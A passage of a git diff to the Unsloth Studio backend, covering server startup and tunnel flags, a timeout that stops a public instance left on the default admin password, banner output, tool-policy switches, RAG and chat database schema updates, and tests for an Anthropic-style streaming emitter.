Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP. + # Direct (non-tunnel) base for the API panel; resolve wildcard binds to the LAN IP. if port and port > 0: - _direct_host = _resolve_external_ip() if host == "0.0.0.0" else host - app.state.server_url = f"http://{_direct_host}:{port}" + _direct_host = _display_host_for_bind(host) + app.state.server_url = f"http://{_url_host(_direct_host)}:{port}" else: app.state.server_url = None app.state.secure = secure @@ -1102,6 +1321,7 @@ def run_server( startup_failed.set() thread = Thread(target = _run, daemon = True) + _server_thread = thread thread.start() # Wait until uvicorn finishes lifespan startup and binds sockets, or until it @@ -1120,6 +1340,11 @@ def run_server( _shutdown_event.set() raise + logger.info( + "run_server uvicorn ready after %.1fms", + (time.perf_counter() - boot_started) * 1000, + ) + _write_pid_file() import atexit @@ -1129,14 +1354,16 @@ def run_server( atexit.register(terminate_all) # Output port for Tauri (api-only), only after sockets bind and startup done. - if api_only: + # The headless `run --api-only` path opts out so it does not leak this line. + if api_only and emit_tauri_port: print(f"TAURI_PORT={port}", flush = True) - # Free trycloudflare.com tunnel for 0.0.0.0 binds (the raw ip:port is often + # Free trycloudflare.com tunnel for wildcard binds (the raw ip:port is often # unreachable). Started pre-banner and even when silent so the CLI banner can # read app.state.cloudflare_url; torn down by _graceful_shutdown. - global _cloudflare_url + global _cloudflare_url, _cloudflare_requested, _cloudflare_flag _cloudflare_url = None + _cloudflare_flag = cloudflare app.state.cloudflare_url = None _cloudflare_enabled = _cloudflare_tunnel_should_start( cloudflare = cloudflare, @@ -1145,6 +1372,7 @@ def run_server( api_only = api_only, is_colab = _IS_COLAB, ) + _cloudflare_requested = _cloudflare_enabled if _cloudflare_enabled: try: # best-effort: any failure must not block startup from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel @@ -1161,31 +1389,70 @@ def run_server( # silently fall back to a raw port. if secure and not _cloudflare_url: print( - "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link", + "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link", file = sys.stderr, flush = True, ) _graceful_shutdown(_server) sys.exit(1) + # Time-box a freshly-exposed web UI: if nobody changes the seeded admin + # password within the deadline (default 1h), shut down rather than leave an + # unsecured public instance running. No-op for loopback, --api-only, Colab, + # an already-changed password, or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0. + try: + from auth import storage as _auth_storage + from auth.bootstrap_timeout import ( + arm_bootstrap_timeout, + bootstrap_timeout_seconds, + should_arm_bootstrap_timeout, + ) + + _bootstrap_timeout = bootstrap_timeout_seconds() + if should_arm_bootstrap_timeout( + host = host, + secure = secure, + api_only = api_only, + frontend_served = bool(frontend_path) and not api_only, + is_colab = _IS_COLAB, + requires_change = _auth_storage.requires_password_change( + _auth_storage.DEFAULT_ADMIN_USERNAME + ), + timeout_seconds = _bootstrap_timeout, + ): + arm_bootstrap_timeout( + _auth_storage, + _trigger_shutdown, + timeout_seconds = _bootstrap_timeout, + logger = logger, + ) + logger.info( + "Studio will shut down in %ds unless the default admin password is changed.", + _bootstrap_timeout, + ) + except Exception as e: # best-effort: never block startup on the timeout + logger.warning("Bootstrap timeout not armed: %s", e) + if not silent: _emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools) return app -# For direct execution (also invoked by CLI via os.execvp / subprocess). -if __name__ == "__main__": - import argparse - import signal - import traceback +# Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct +# backend launches; `unsloth studio run` always passes its own value (4). +_PARALLEL_MIN = 1 +_PARALLEL_MAX = 64 +_PARALLEL_DEFAULT_PLAIN = 1 - # Ensure stderr handles Unicode on Windows (non-ASCII path tracebacks). - if sys.platform == "win32" and hasattr(sys.stderr, "reconfigure"): - try: - sys.stderr.reconfigure(encoding = "utf-8", errors = "replace") - except Exception: - pass + +def _build_arg_parser(): + """Build the backend CLI argument parser. + + Extracted from the __main__ block so the flag wiring (notably the + --secure/--no-secure polarity and its --not-secure alias) stays unit-testable. + """ + import argparse parser = argparse.ArgumentParser(description = "Run Unsloth UI Backend server") parser.add_argument( @@ -1210,17 +1477,27 @@ if __name__ == "__main__": "--cloudflare", action = argparse.BooleanOptionalAction, default = True, - help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 " - "(default on; --no-cloudflare to disable)", + help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard " + "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). " + "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a " + "public wildcard bind. --api-only keeps it off unless paired with --secure.", ) parser.add_argument( "--secure", action = argparse.BooleanOptionalAction, default = False, help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed " - "if the tunnel can't start. Without it, --not-secure also serves the raw " + "if the tunnel can't start. Without it, --no-secure also serves the raw " "0.0.0.0 port, which is reachable from anywhere on the network", ) + # Back-compat: accept --not-secure as a hidden alias for --no-secure. + parser.add_argument( + "--not-secure", + dest = "secure", + action = "store_false", + default = argparse.SUPPRESS, + help = argparse.SUPPRESS, + ) # Tri-state tool policy: no flag -> None (tools on, per-request honored); # --enable-tools/--disable-tools force on/off. parser.add_argument( @@ -1238,11 +1515,6 @@ if __name__ == "__main__": default = None, help = "Force server-side tools off for every request.", ) - # Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct - # backend launches; `unsloth studio run` always passes its own value (4). - _PARALLEL_MIN = 1 - _PARALLEL_MAX = 64 - _PARALLEL_DEFAULT_PLAIN = 1 parser.add_argument( "--parallel", "--n-parallel", @@ -1253,7 +1525,28 @@ if __name__ == "__main__": f"Default {_PARALLEL_DEFAULT_PLAIN}; `unsloth studio run` uses 4." ), ) + return parser + +# For direct execution (also invoked by CLI via os.execvp / subprocess). +if __name__ == "__main__": + # Correct a conflicting system CUDA on LD_LIBRARY_PATH before torch is + # imported (below, via run_server). Re-execs once on Linux so the dynamic + # linker uses torch's bundled CUDA libs; no-op on other platforms, when + # LD_LIBRARY_PATH is unset or already correct, or after the single re-exec. + _maybe_reexec_for_cuda_ld_path() + + import signal + import traceback + + # Ensure stderr handles Unicode on Windows (non-ASCII path tracebacks). + if sys.platform == "win32" and hasattr(sys.stderr, "reconfigure"): + try: + sys.stderr.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + + parser = _build_arg_parser() args = parser.parse_args() if not _PARALLEL_MIN <= args.parallel <= _PARALLEL_MAX: parser.error(f"--parallel must be between {_PARALLEL_MIN} and {_PARALLEL_MAX}") @@ -1290,6 +1583,11 @@ if __name__ == "__main__": # Signal handler -- ensures subprocess cleanup on Ctrl+C. def _signal_handler(signum, frame): + # Restore defaults so a second signal force-quits if shutdown stalls. + signal.signal(signal.SIGINT, signal.SIG_DFL) + signal.signal(signal.SIGTERM, signal.SIG_DFL) + if hasattr(signal, "SIGBREAK"): + signal.signal(signal.SIGBREAK, signal.SIG_DFL) _graceful_shutdown(_server) _shutdown_event.set() @@ -1305,3 +1603,4 @@ if __name__ == "__main__": # lets the interpreter process pending signals. while not _shutdown_event.is_set(): _shutdown_event.wait(timeout = 1) + _wait_for_server_shutdown() diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py index 52ac8cb012..ea951a4325 100644 --- a/studio/backend/startup_banner.py +++ b/studio/backend/startup_banner.py @@ -3,7 +3,7 @@ """Terminal banner for Studio startup. -Stdlib only — safe to import without the rest of the backend. +Stdlib only -- safe to import without the rest of the backend. """ from __future__ import annotations @@ -12,6 +12,18 @@ import os import sys +def _safe_print(text: str) -> None: + """Print text without crashing on terminals that cannot encode Unicode.""" + try: + print(text) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or "ascii" + try: + print(text.encode(encoding, errors = "replace").decode(encoding)) + except LookupError: + print(text.encode("ascii", errors = "replace").decode("ascii")) + + def stdout_supports_color() -> bool: """True if we should emit ANSI colors.""" if os.environ.get("NO_COLOR", "").strip(): @@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None: """Message when the requested port is taken and another is chosen.""" msg = f"Port {original_port} is in use, using port {new_port} instead." if stdout_supports_color(): - print(f"\033[38;5;245m{msg}\033[0m") + _safe_print(f"\033[38;5;245m{msg}\033[0m") else: - print(msg) + _safe_print(msg) def print_studio_stop_hint() -> None: @@ -44,15 +56,15 @@ def print_studio_stop_hint() -> None: def style(text: str, code: str) -> str: return f"{code}{text}{reset}" if use_color else text - print( + _safe_print( "\n".join( [ "", style( - " To stop Unsloth Studio: press Ctrl+C in this terminal.", + " To stop Unsloth Studio: press Ctrl+C " + "(Control+C, not Command+C, on macOS).", stop_hint_style, ), - style(" (On macOS this is Control+C, not Command+C.)", dim), style("─" * 52, dim), "", ] @@ -101,7 +113,6 @@ def print_studio_access_banner( # Use the loopback URL only when reachable on loopback; otherwise show # the actual bound address. primary_url = loopback_url if listen_all or loopback_bind else external_url - tip_url = alt_local if listen_all or loopback_bind else external_url api_base = primary_url lines: list[str] = [ @@ -145,10 +156,6 @@ def print_studio_access_banner( style(f" {api_base}/api", secondary), style(f" {api_base}/api/health", secondary), style("─" * 52, dim), - style( - f" Tip: if you are on this computer, open {tip_url}/ in your browser.", - dim, - ), ] ) @@ -157,23 +164,15 @@ def print_studio_access_banner( [ "", style( - " Studio is only reachable on this machine (bound to 127.0.0.1).", + " Reachable on this machine only (bound to 127.0.0.1).", secondary, ), style( - " To deploy and access globally:", + f" To expose it, stop and relaunch with: unsloth studio -H 0.0.0.0 -p {port}", secondary, ), style( - " 1. press Ctrl+C to stop Studio", - secondary, - ), - style( - f" 2. relaunch with: unsloth studio -H 0.0.0.0 -p {port}", - secondary, - ), - style( - " Only do this on trusted networks -- it exposes the API on every interface.", + " Only on trusted networks -- anyone who reaches this machine can use Studio.", secondary, ), ] @@ -184,13 +183,13 @@ def print_studio_access_banner( [ "", style( - " To stop Unsloth Studio: press Ctrl+C in this terminal.", + " To stop Unsloth Studio: press Ctrl+C " + "(Control+C, not Command+C, on macOS).", stop_hint_style, ), - style(" (On macOS this is Control+C, not Command+C.)", dim), style("─" * 52, dim), "", ] ) - print("\n".join(lines)) + _safe_print("\n".join(lines)) diff --git a/studio/backend/state/tool_policy.py b/studio/backend/state/tool_policy.py index 9b0fc7d6cb..e0792321f9 100644 --- a/studio/backend/state/tool_policy.py +++ b/studio/backend/state/tool_policy.py @@ -10,15 +10,34 @@ Set by `unsloth run` at startup; consulted by the inference route gates. False -> CLI forced tools off for every request. """ -from typing import Optional +import contextvars +from contextlib import contextmanager +from typing import Iterator, Optional _tool_policy: Optional[bool] = None +# Per-request hard-off so public surfaces refuse tools even under a CLI `--enable-tools`. +_force_disabled: contextvars.ContextVar[bool] = contextvars.ContextVar( + "tool_policy_force_disabled", default = False +) + def get_tool_policy() -> Optional[bool]: + if _force_disabled.get(): + return False return _tool_policy +@contextmanager +def tools_force_disabled() -> Iterator[None]: + """Hard-disable server-side tools for the current async context.""" + token = _force_disabled.set(True) + try: + yield + finally: + _force_disabled.reset(token) + + def set_tool_policy(value: Optional[bool]) -> None: if value is not None and not isinstance(value, bool): raise TypeError(f"tool_policy must be Optional[bool], got {type(value).__name__}") diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py index 564e3284f8..cbd6ceb617 100644 --- a/studio/backend/storage/rag_db.py +++ b/studio/backend/storage/rag_db.py @@ -15,6 +15,7 @@ column type). """ import logging +import re import sqlite3 import threading @@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: error TEXT, num_chunks INTEGER NOT NULL DEFAULT 0, stored_path TEXT, - created_at TEXT NOT NULL + created_at TEXT NOT NULL, + embedding_model TEXT ); CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope); CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256); @@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()} if "project_id" not in cols: conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT") + # Lazy upgrade: which embedder produced a document's vectors (NULL = legacy, + # assumed current). Dedupe re-ingests when it no longer matches. + if "embedding_model" not in cols: + conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT") def get_connection() -> sqlite3.Connection: @@ -119,6 +125,10 @@ def get_connection() -> sqlite3.Connection: ensure_dir(db_path.parent) conn = sqlite3.connect(str(db_path)) conn.row_factory = sqlite3.Row + # Wait for a lock instead of erroring immediately: a figure/scan-heavy ingest can + # hold its connection across many seconds of vision calls, and a concurrent ingest + # or autoinject read would otherwise hit "database is locked". + conn.execute("PRAGMA busy_timeout = 5000") try: conn.enable_load_extension(True) sqlite_vec.load(conn) @@ -139,9 +149,32 @@ def get_connection() -> sqlite3.Connection: return conn +def vec_table_dim(conn: sqlite3.Connection) -> int | None: + """Embedding width baked into ``chunks_vec``, or None when absent.""" + row = conn.execute( + "SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'" + ).fetchone() + if row is None or not row["sql"]: + return None + m = re.search(r"float\[(\d+)\]", row["sql"]) + return int(m.group(1)) if m else None + + def ensure_vec(conn: sqlite3.Connection, dim: int) -> None: """Create the dense ``chunks_vec`` table once the embedding dim is known - (vec0 bakes it into the column type). Idempotent; dim fixed per db.""" + (vec0 bakes it into the column type). A width change (embedding model + switched in Settings) drops the table: the old vectors live in a foreign + space and would only block inserts, while lexical search keeps serving old + chunks until they are re-uploaded.""" + existing = vec_table_dim(conn) + if existing is not None and existing != int(dim): + logger.warning( + "chunks_vec dim changed %d -> %d (embedding model switched); dropping " + "stale dense index. Re-upload documents to restore dense search.", + existing, + int(dim), + ) + conn.execute("DROP TABLE chunks_vec") conn.execute( f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0(" f"scope TEXT partition key, " @@ -156,3 +189,71 @@ def vec_table_exists(conn: sqlite3.Connection) -> bool: "SELECT 1 FROM sqlite_master WHERE type='table' AND name='chunks_vec'" ).fetchone() return row is not None + + +def _delete_document_chunks(conn, document_id: str) -> None: + """Delete a document's chunk rows (chunks/chunks_fts/chunks_vec), keeping the + documents row. Used when reconciling a half-ingested doc to failed: retrieval + filters by scope not status, so leftover chunks would stay citable.""" + chunk_ids = [ + r["id"] + for r in conn.execute( + "SELECT id FROM chunks WHERE document_id=?", (document_id,) + ).fetchall() + ] + if not chunk_ids: + return + has_vec = vec_table_exists(conn) + for chunk_id in chunk_ids: + conn.execute("DELETE FROM chunks_fts WHERE chunk_id=?", (chunk_id,)) + if has_vec: + conn.execute("DELETE FROM chunks_vec WHERE chunk_id=?", (chunk_id,)) + conn.execute("DELETE FROM chunks WHERE document_id=?", (document_id,)) + + +def reconcile_orphaned_ingestion_jobs() -> int: + """Fail ingestion jobs/documents left mid-flight by a crash so they stop + showing as stuck "processing" and become re-ingestible. Run at startup. + No-op without RAG. Returns the number of jobs reset. + """ + if not RAG_AVAILABLE: + return 0 + conn = get_connection() + try: + rows = conn.execute( + "SELECT id, document_id FROM ingestion_jobs " + "WHERE status NOT IN ('completed', 'failed')" + ).fetchall() + for row in rows: + doc = conn.execute( + "SELECT status FROM documents WHERE id=?", (row["document_id"],) + ).fetchone() + if doc is not None and doc["status"] == "completed": + # Worker finished indexing before the crash but didn't retire the + # job row. Mark the job completed (not failed) and keep its chunks, + # so the UI's getJob fallback after restart doesn't flag a + # searchable document as a failed ingestion. + conn.execute( + "UPDATE ingestion_jobs SET status='completed', stage='done', " + "progress=1.0, error=NULL WHERE id=?", + (row["id"],), + ) + continue + conn.execute( + "UPDATE ingestion_jobs SET status='failed', stage='error', " + "error='Server restarted during ingestion' WHERE id=?", + (row["id"],), + ) + conn.execute( + "UPDATE documents SET status='failed' " + "WHERE id=? AND status NOT IN ('completed', 'failed')", + (row["document_id"],), + ) + # A failed or still-in-flight doc must not leave citable chunks + # (retrieval filters by scope, not status); also drops any chunks of a + # doc already 'failed' before the crash. + _delete_document_chunks(conn, row["document_id"]) + conn.commit() + return len(rows) + finally: + conn.close() diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index 7421b42b2f..87aa50ee26 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -22,7 +22,25 @@ logger = logging.getLogger(__name__) from typing import Any, Iterable, Optional -from utils.paths import project_workspaces_root, studio_db_path, ensure_dir +from utils.paths import ( + ensure_dir, + project_workspaces_root, + studio_db_path, +) +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) +from utils.training_runs import extract_project_name + + +def _extract_project_name_from_config_json(config_json: Optional[str]) -> Optional[str]: + if not config_json: + return None + try: + return extract_project_name(json.loads(config_json)) + except (json.JSONDecodeError, TypeError): + return None def _denied_path_prefixes() -> list[str]: @@ -51,6 +69,14 @@ def _denied_path_prefixes() -> list[str]: return [] +def _contains_sensitive_path_component(path: str) -> bool: + return _shared_contains_sensitive_path_component(path) + + +def contains_sensitive_path_component(path: str) -> bool: + return _contains_sensitive_path_component(path) + + _schema_lock = threading.Lock() _schema_ready = False _SQLITE_IN_CHUNK_SIZE = 900 @@ -214,6 +240,7 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: project_id TEXT, archived INTEGER NOT NULL DEFAULT 0, created_at INTEGER NOT NULL, + updated_at INTEGER, openai_code_exec_container_id TEXT, anthropic_code_exec_container_id TEXT, forked_from_thread_id TEXT, @@ -235,6 +262,24 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT") if "forked_from_message_id" not in chat_thread_cols: conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_message_id TEXT") + if "updated_at" not in chat_thread_cols: + conn.execute("ALTER TABLE chat_threads ADD COLUMN updated_at INTEGER") + # Floor at created_at: forked threads copy older ancestor messages, + # so the fork's creation time must win over the branch message times. + conn.execute( + """ + UPDATE chat_threads SET updated_at = MAX( + COALESCE( + ( + SELECT MAX(m.created_at) FROM chat_messages m + WHERE m.thread_id = chat_threads.id + ), + created_at + ), + created_at + ) + """ + ) conn.execute( """ CREATE TABLE IF NOT EXISTS chat_messages ( @@ -680,6 +725,7 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict: runs = [] for row in rows: run = dict(row) + run["project_name"] = _extract_project_name_from_config_json(run.get("config_json")) sparkline = run.get("loss_sparkline") if sparkline: try: @@ -719,6 +765,7 @@ def get_run(id: str) -> Optional[dict]: if row is None: return None run = dict(row) + run["project_name"] = _extract_project_name_from_config_json(run.get("config_json")) sparkline = run.get("loss_sparkline") if sparkline: try: @@ -884,6 +931,8 @@ def add_scan_folder(path: str) -> dict: raise ValueError("Path must be a directory, not a file") if not os.access(normalized, os.R_OK | os.X_OK): raise ValueError("Path is not readable") + if _contains_sensitive_path_component(normalized): + raise ValueError("Credential or configuration directories are not allowed") # Windows: normcase for the denylist check but store original casing # so consumers see the native drive-letter casing (e.g. C:\Models). @@ -891,6 +940,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() @@ -960,6 +1011,9 @@ def _chat_thread_from_row(row: sqlite3.Row) -> dict: "projectId": data.get("project_id") or None, "archived": bool(data["archived"]), "createdAt": data["created_at"], + "updatedAt": data.get("updated_at") + if data.get("updated_at") is not None + else data["created_at"], "openaiCodeExecContainerId": data.get("openai_code_exec_container_id"), "anthropicCodeExecContainerId": data.get("anthropic_code_exec_container_id"), "forkedFromThreadId": data.get("forked_from_thread_id"), @@ -1007,8 +1061,8 @@ def upsert_chat_thread(thread: dict) -> dict: conn.execute( """ INSERT INTO chat_threads - (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + (id, title, model_type, model_id, pair_id, project_id, archived, created_at, updated_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET title = excluded.title, model_type = excluded.model_type, @@ -1017,6 +1071,7 @@ def upsert_chat_thread(thread: dict) -> dict: project_id = excluded.project_id, archived = excluded.archived, created_at = excluded.created_at, + updated_at = COALESCE(excluded.updated_at, chat_threads.updated_at), openai_code_exec_container_id = excluded.openai_code_exec_container_id, anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id, forked_from_thread_id = excluded.forked_from_thread_id, @@ -1031,6 +1086,7 @@ def upsert_chat_thread(thread: dict) -> dict: thread.get("projectId"), 1 if thread.get("archived") else 0, int(thread["createdAt"]), + int(thread["updatedAt"]) if thread.get("updatedAt") is not None else None, thread.get("openaiCodeExecContainerId"), thread.get("anthropicCodeExecContainerId"), thread.get("forkedFromThreadId"), @@ -1052,6 +1108,7 @@ def update_chat_thread(id: str, patch: dict) -> Optional[dict]: "projectId": ("project_id", patch.get("projectId")), "archived": ("archived", 1 if patch.get("archived") else 0), "createdAt": ("created_at", patch.get("createdAt")), + "updatedAt": ("updated_at", patch.get("updatedAt")), "openaiCodeExecContainerId": ( "openai_code_exec_container_id", patch.get("openaiCodeExecContainerId"), @@ -1123,7 +1180,8 @@ def list_chat_threads( conn = get_connection() try: rows = conn.execute( - f"SELECT * FROM chat_threads {where} ORDER BY created_at DESC", + f"SELECT * FROM chat_threads {where} " + "ORDER BY COALESCE(updated_at, created_at) DESC, created_at DESC", values, ).fetchall() return [_chat_thread_from_row(row) for row in rows] @@ -1362,6 +1420,44 @@ def _raise_if_chat_message_thread_conflicts( ) +def _bump_chat_thread_updated_at( + conn: sqlite3.Connection, thread_id: str, message_created_at: int +) -> None: + conn.execute( + """ + UPDATE chat_threads + SET updated_at = MAX(COALESCE(updated_at, created_at), ?) + WHERE id = ? + """, + (message_created_at, thread_id), + ) + + +def _recompute_chat_thread_updated_at(conn: sqlite3.Connection, thread_id: str) -> None: + """Set updated_at from the remaining messages, floored at created_at. + + Unlike the ratchet-only bump, this can lower updated_at -- needed after + pruning, which may delete the thread's newest message. + """ + conn.execute( + """ + UPDATE chat_threads + SET updated_at = MAX( + COALESCE( + ( + SELECT MAX(m.created_at) FROM chat_messages m + WHERE m.thread_id = chat_threads.id + ), + created_at + ), + created_at + ) + WHERE id = ? + """, + (thread_id,), + ) + + def upsert_chat_message(message: dict) -> dict: conn = get_connection() try: @@ -1400,6 +1496,7 @@ def upsert_chat_message(message: dict) -> dict: int(message["createdAt"]), ), ) + _bump_chat_thread_updated_at(conn, message["threadId"], int(message["createdAt"])) conn.commit() return message except Exception: @@ -1452,6 +1549,12 @@ def sync_chat_messages( for m in messages ], ) + if prune_missing: + _recompute_chat_thread_updated_at(conn, thread_id) + elif messages: + _bump_chat_thread_updated_at( + conn, thread_id, max(int(m["createdAt"]) for m in messages) + ) conn.commit() return list_chat_messages(thread_id) except ChatMessageConflictError: @@ -1677,6 +1780,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() +def upsert_app_setting_map_entry( + key: str, entry_key: str, entry_value: dict[str, Any] | None +) -> dict[str, Any]: + """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued + app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other + sub-entries cannot drop each other's updates.""" + conn = get_connection() + try: + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + current = _json_loads(row["value_json"], {}) if row else {} + if not isinstance(current, dict): + current = {} + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + now = datetime.now(timezone.utc).isoformat() + conn.execute( + """ + INSERT INTO app_settings (key, value_json, updated_at) + VALUES (?, ?, ?) + ON CONFLICT(key) DO UPDATE SET + value_json = excluded.value_json, + updated_at = excluded.updated_at + """, + (key, json.dumps(current), now), + ) + conn.commit() + return current + except Exception: + conn.rollback() + raise + finally: + conn.close() + + def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py index 92a87ce045..54454f6563 100644 --- a/studio/backend/tests/test_anthropic_messages.py +++ b/studio/backend/tests/test_anthropic_messages.py @@ -52,6 +52,49 @@ from io import BytesIO as _BytesIO from types import SimpleNamespace +def _emitter_client_text(events: list[str]) -> str: + """Concatenate the text_delta payloads an SSE event list carries.""" + text = "" + for line in events: + for raw in line.split("\n"): + raw = raw.strip() + if not raw.startswith("data: "): + continue + data = json.loads(raw[len("data: ") :]) + delta = data.get("delta", {}) + if delta.get("type") == "text_delta": + text += delta.get("text", "") + return text + + +def test_anthropic_emitter_closes_reasoning_only_think_block(): + # A reasoning-only reply streams X live then shrinks to bare X at EOF. + # This emitter diffs cumulative snapshots and drops the shrink, so without a + # closing pass the client text would end on an unclosed . finish() + # must balance it. + emitter = AnthropicStreamEmitter() + events = emitter.start("msg_1", "m") + events += emitter.feed({"type": "content", "text": "The capital"}) + events += emitter.feed({"type": "content", "text": "The capital of France is Paris."}) + # The generator's final bare-text shrink (dropped by the cumulative diff). + events += emitter.feed({"type": "content", "text": "The capital of France is Paris."}) + events += emitter.finish() + + assert _emitter_client_text(events) == "The capital of France is Paris." + + +def test_anthropic_emitter_does_not_double_close_balanced_think(): + # A reasoning-then-answer reply already closes its own ; the balancer + # must not append a second one. + emitter = AnthropicStreamEmitter() + events = emitter.start("msg_1", "m") + events += emitter.feed({"type": "content", "text": "Thinking."}) + events += emitter.feed({"type": "content", "text": "Thinking.Answer."}) + events += emitter.finish() + + assert _emitter_client_text(events) == "Thinking.Answer." + + def test_streamed_anthropic_tool_use_records_api_monitor_reply(monkeypatch): import routes.inference as inf_mod @@ -128,13 +171,7 @@ class TestToolActionNudge: assert "call render_html once" in nudge def test_balanced_nudge_empty_without_known_tool_categories(self): - assert ( - _build_tool_action_nudge( - tools = [], - model_name = "Llama-3.1-8B-Instruct", - ) - == "" - ) + assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == "" # ===================================================================== @@ -895,6 +932,24 @@ class TestAnthropicToolNonStreaming: assert tool_blocks[0]["name"] == "render_html" assert tool_blocks[0]["input"] == {"code": ""} + def test_display_strip_gates_on_declared_tools(self): + # A final answer containing NAME[ARGS]{json} is gated on the declared tools: undeclared + # ``foo`` markup is prose and survives, the declared web_search rehearsal strips. + def _run_gen(): + yield { + "type": "content", + "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.', + } + + tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}] + response = asyncio.run( + _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools) + ) + body = json.loads(response.body) + text = "".join(b["text"] for b in body["content"] if b["type"] == "text") + assert 'foo[ARGS]{"x": 1}' in text # inactive name preserved as prose + assert "web_search[ARGS]" not in text # active name stripped from display + # ===================================================================== # Pass-through emitter tests (client-side tool execution path) @@ -1715,3 +1770,187 @@ class TestAnthropicMessagesToolRouting: _drive(anthropic_messages(payload, request = None, current_subject = "t")) assert backend.calls[0][0] == "plain" + + +def test_resumed_session_thinking_and_null_content_do_not_400(): + # A resumed session replays assistant turns with `thinking` (and sometimes null) + # content. Those must be accepted (thinking dropped by the converter), not 400ed. + from pydantic import ValidationError + + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "hi"}, + { + "role": "assistant", + "content": [ + {"type": "thinking", "thinking": "secret reasoning", "signature": "s"}, + {"type": "text", "text": "the answer"}, + {"type": "tool_use", "id": "t1", "name": "f", "input": {}}, + ], + }, + {"role": "assistant", "content": None}, # tool-only turn serialized as null + ], + ) + # Known blocks still parse as their typed models; only the unknown one is loose. + assert type(req.messages[1].content[0]).__name__ == "AnthropicUnknownBlock" + assert type(req.messages[1].content[1]).__name__ == "AnthropicTextBlock" + assert req.messages[2].content == "" # null coerced + + openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages]) + assistant = next(m for m in openai if m["role"] == "assistant" and m.get("content")) + assert assistant["content"] == "the answer" + assert "secret reasoning" not in json.dumps(openai) # thinking never forwarded + + # A malformed KNOWN block still fails cleanly instead of being swallowed. + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}], + ) + + +def test_user_null_content_rejected(): + # The null->"" leniency is assistant-only; a null user content must be rejected + # at the boundary, not coerced into an empty prompt and forwarded to the model. + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "user", "content": None}], + ) + + +def test_user_unknown_block_rejected_not_silently_dropped(): + # The converter skips user blocks it cannot translate, so a user turn whose only + # block is unknown would validate yet forward no content. Reject at the boundary + # to avoid that silent data loss (the assistant fallback is unaffected). + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": [{"type": "document", "source": {}}]}, + ], + ) + + +def test_user_translatable_blocks_still_accepted(): + # text / image / tool_result are translatable, so a real user message built from + # them must still pass; the unknown-block guard only trips on other types. + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + { + "role": "user", + "content": [ + {"type": "text", "text": 